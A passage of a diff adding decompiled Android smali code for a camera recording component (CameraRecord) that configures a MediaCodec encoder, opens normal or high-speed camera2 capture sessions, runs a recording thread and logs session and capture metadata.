iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0, p1, v2, v2, v3}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
|
||||
|
||||
.line 77
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$002(Lcom/nvav/srv/recorder/CameraRecord;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
|
||||
.line 78
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
|
||||
|
||||
.line 79
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->hiSpeed:I
|
||||
|
||||
if-lez p1, :cond_3
|
||||
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraRecord;->mHandler:Landroid/os/Handler;
|
||||
|
||||
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createConstrainedHighSpeedCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
|
||||
|
||||
goto :goto_1
|
||||
|
||||
.line 80
|
||||
:cond_3
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraRecord;->mHandler:Landroid/os/Handler;
|
||||
|
||||
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
|
||||
|
||||
.line 81
|
||||
:goto_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 83
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_2
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,79 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraRecord$2$1;
|
||||
.super Ljava/lang/Thread;
|
||||
.source "CameraRecord.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/CameraRecord$2;->onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$1:Lcom/nvav/srv/recorder/CameraRecord$2;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraRecord$2;)V
|
||||
.locals 0
|
||||
|
||||
.line 145
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2$1;->this$1:Lcom/nvav/srv/recorder/CameraRecord$2;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public run()V
|
||||
.locals 2
|
||||
|
||||
.line 148
|
||||
:goto_0
|
||||
sget-boolean v0, Lcom/nvav/srv/recorder/CameraRecord;->Starting:Z
|
||||
|
||||
if-eqz v0, :cond_0
|
||||
|
||||
.line 150
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2$1;->this$1:Lcom/nvav/srv/recorder/CameraRecord$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraRecord;->access$400(Lcom/nvav/srv/recorder/CameraRecord;Z)V
|
||||
|
||||
const-wide/16 v0, 0x1
|
||||
|
||||
.line 151
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraRecord$2$1;->sleep(J)V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 153
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$2$1;->this$1:Lcom/nvav/srv/recorder/CameraRecord$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:cond_0
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,365 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraRecord$2;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
.source "CameraRecord.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraRecord;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraRecord;)V
|
||||
.locals 0
|
||||
|
||||
.line 127
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 166
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession ac"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 171
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
|
||||
|
||||
.line 172
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
.line 173
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mHandler:Landroid/os/Handler;
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 177
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 179
|
||||
:goto_0
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
filled-new-array {v0}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
const-string v1, "time %d"
|
||||
|
||||
invoke-static {v1, v0}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
const-string v1, "CameraCaptureSession cl"
|
||||
|
||||
invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
.line 181
|
||||
:try_start_1
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mThread:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
|
||||
|
||||
.line 182
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mThread:Landroid/os/HandlerThread;
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception p1
|
||||
|
||||
.line 186
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_1
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 5
|
||||
|
||||
.line 131
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->hiSpeed:I
|
||||
|
||||
if-lez v0, :cond_0
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
check-cast p1, Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraRecord;->access$102(Lcom/nvav/srv/recorder/CameraRecord;Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;)Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 132
|
||||
:cond_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraRecord;->access$202(Lcom/nvav/srv/recorder/CameraRecord;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
|
||||
|
||||
.line 133
|
||||
:goto_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
const/4 v1, 0x3
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
.line 134
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
|
||||
|
||||
.line 135
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->hiSpeed:I
|
||||
|
||||
const/4 v0, 0x1
|
||||
|
||||
if-ne p1, v0, :cond_1
|
||||
|
||||
.line 136
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
new-instance v1, Landroid/util/Range;
|
||||
|
||||
const/16 v2, 0x78
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-direct {v1, v3, v4}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 137
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput v2, p1, Lcom/nvav/srv/recorder/CameraRecord;->FPS:I
|
||||
|
||||
goto :goto_1
|
||||
|
||||
.line 139
|
||||
:cond_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->hiSpeed:I
|
||||
|
||||
const/4 v0, 0x2
|
||||
|
||||
if-ne p1, v0, :cond_2
|
||||
|
||||
.line 140
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
new-instance v1, Landroid/util/Range;
|
||||
|
||||
const/16 v2, 0xf0
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-direct {v1, v3, v4}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 141
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput v2, p1, Lcom/nvav/srv/recorder/CameraRecord;->FPS:I
|
||||
|
||||
.line 144
|
||||
:cond_2
|
||||
:goto_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraRecord;->access$300(Lcom/nvav/srv/recorder/CameraRecord;)V
|
||||
|
||||
.line 145
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
new-instance v0, Lcom/nvav/srv/recorder/CameraRecord$2$1;
|
||||
|
||||
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/CameraRecord$2$1;-><init>(Lcom/nvav/srv/recorder/CameraRecord$2;)V
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingThread:Ljava/lang/Thread;
|
||||
|
||||
.line 159
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mRecordingThread:Ljava/lang/Thread;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Thread;->start()V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 161
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$2;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_2
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 191
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession re"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,242 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraRecord$3;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
|
||||
.source "CameraRecord.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraRecord;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field lat:D
|
||||
|
||||
.field lon:D
|
||||
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
.field time_out_param:J
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraRecord;)V
|
||||
.locals 2
|
||||
|
||||
.line 198
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
|
||||
|
||||
.line 199
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->time_out_param:J
|
||||
|
||||
const-wide/16 v0, 0x0
|
||||
|
||||
.line 200
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->lat:D
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->lon:D
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
|
||||
.locals 7
|
||||
|
||||
.line 207
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->time_out_param:J
|
||||
|
||||
sub-long/2addr p1, v0
|
||||
|
||||
const-wide/16 v0, 0xc8
|
||||
|
||||
cmp-long p1, p1, v0
|
||||
|
||||
if-lez p1, :cond_0
|
||||
|
||||
.line 208
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->lat:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->lon:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 209
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
const-wide/32 v3, 0x3b9aca00
|
||||
|
||||
div-long/2addr v3, p1
|
||||
|
||||
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 210
|
||||
